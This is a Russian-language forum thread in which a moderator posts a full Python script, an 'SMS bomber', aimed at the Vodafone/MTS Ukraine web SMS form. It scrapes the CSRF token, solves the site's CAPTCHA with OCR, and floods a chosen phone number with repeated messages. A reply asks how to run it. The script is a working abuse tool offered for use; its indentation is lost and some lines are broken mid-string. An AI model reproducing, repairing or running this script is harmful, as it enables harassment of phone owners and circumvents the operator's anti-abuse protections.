• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

SMS‐бомбер на Python [Vodafone/UA]

CodeDog Оффлайн

CodeDog

Главный модератор
Команда форума
Модератор
Регистрация
19 Авг 2015
Сообщения
157
Симпатии
68
Баллы
100
#1
Python:
import sys,os,requests,time,subprocess,string
try:
import Image
except ImportError:
from PIL import Image
import pytesseract
pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\
Tesseract‐OCR\\tesseract.exe'
tessdata_dir_config = '‐‐tessdata‐dir "C:\\Program Files (x86)\\
Tesseract‐OCR\\tessdata"'
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
headers = {'User‐Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X
10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95
Safari/537.36'}
SESSION=""
COOKIES=""
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def write_to_file(fname,xdata):
f=open(fname,"w")
f.close
f=open(fname,"wb")
f.write(xdata)
f.close
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def get_url(xURL,xparam):
global headers
global SESSION
global COOKIES
try:
r = SESSION.get(xURL, headers=headers,allow_redirects=True)
if xparam==1:
COOKIES=r.cookies
except:
print "[‐] Network errror !"
sys.exit(0)
if r.status_code != 200:
print "[‐] Server errror",r.status_code
sys.exit(0)
return r.content
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def get_captcha():
n_try=1
xlen_=5
while xlen_!=4:
print "[*] Getting CAPTCHA from mts.ua, attempt number",
n_try
captcha_=get_url("http://www.mts.ua/?r=site/captcha&v=5981af
f096f17&widgetId=messager&width=315&height=242&backColor=0xffffff&
foreColor=0xff0000",0)
print "[+] Captcha downloaded"
write_to_file("xcaptcha.png",captcha_)
print "[+] Captcha saved to xcaptcha.png"
d_captcha=pytesseract.image_to_string(Image.open('xcaptcha.
png'), lang='eng', config = tessdata_dir_config)
xlen_=len(d_captcha)
try:
z=int(d_captcha)
except Exception as e:
xlen_=5
if xlen_!=4:
print "[‐] OCR is no good:",d_captcha
n_try=n_try+1
print "[!] Well done OCR is good:",d_captcha
return d_captcha
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def get_csrf():
xhtml=get_url("http://www.mts.ua/ru/online‐services/send‐sms/",1
)
xs=xhtml.find("var csrfToken = '")
xl=len("var csrfToken = '")
csrf_=xhtml[xs+xl:xs+xl+40]
return csrf_
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def send_sms(csrf,captcha,xnet,xnumber,xsms):
global SESSION
global COOKIES
xcaptcha=str(captcha)
xdata={'YII_CSRF_TOKEN':csrf,'widgetId':'messager','MessageForm[
network]':xnet,'MessageForm[phone]':xnumber,'MessageForm[encoding]':
'cyrilic','MessageForm[is_translit]':'0','MessageForm[message]':xsms
,'MessageForm[verifyCode]':xcaptcha}
r = SESSION.post(url="http://www.mts.ua/ru/online‐services/send‐sms/
", headers=headers, data=xdata, cookies=COOKIES)
zhtml=r.content
sms_status=zhtml.find("<div class=\"response‐message\">")
if sms_status!=‐1:
print "[+] SMS Status: Sent OK"
return 1
else:
print "[‐] SMS Status: Sent BAD"
return 0
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
os.system("cls")
print "‐=[Vodafone SMS Unobomber v 0.1]=‐"
SESSION=requests.Session()
sms_text=raw_input("Enter SMS message: ").decode(sys.stdin.encoding
or 'utf‐8')
xnetwork=raw_input("Enter mobile network(38050;38066;38095;38099): "
)
xnumber=raw_input("Enter mobile number(in format XXX‐XX‐XX): ")
number_of_sms=int(raw_input("Enter number of SMS's(1..XXX): "))
goods_=0
bads_=0
totals_=number_of_sms
XCSRF=get_csrf()
print "[+] YII_CSRF_TOKEN =",XCSRF
while number_of_sms>0:
CAPTCHA=get_captcha()
print "[*] Sending SMS ..."
xresult=send_sms(XCSRF,CAPTCHA,xnetwork,xnumber,sms_text)
if xresult==1:goods_=goods_+1
if xresult==0:bads_=bads_+1
number_of_sms=number_of_sms‐1
time.sleep(2)
print "‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐"
print "[!] Total:",totals_,"; Goods:",goods_,"; Bads:",bads_
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
 
Ярослав Оффлайн

Ярослав

Homo habilis
Новичок
Регистрация
19 Апр 2015
Сообщения
47
Симпатии
4
Баллы
40
#2
дай пожалуйста подсказку, как это запустить ?
 
Вверх Снизу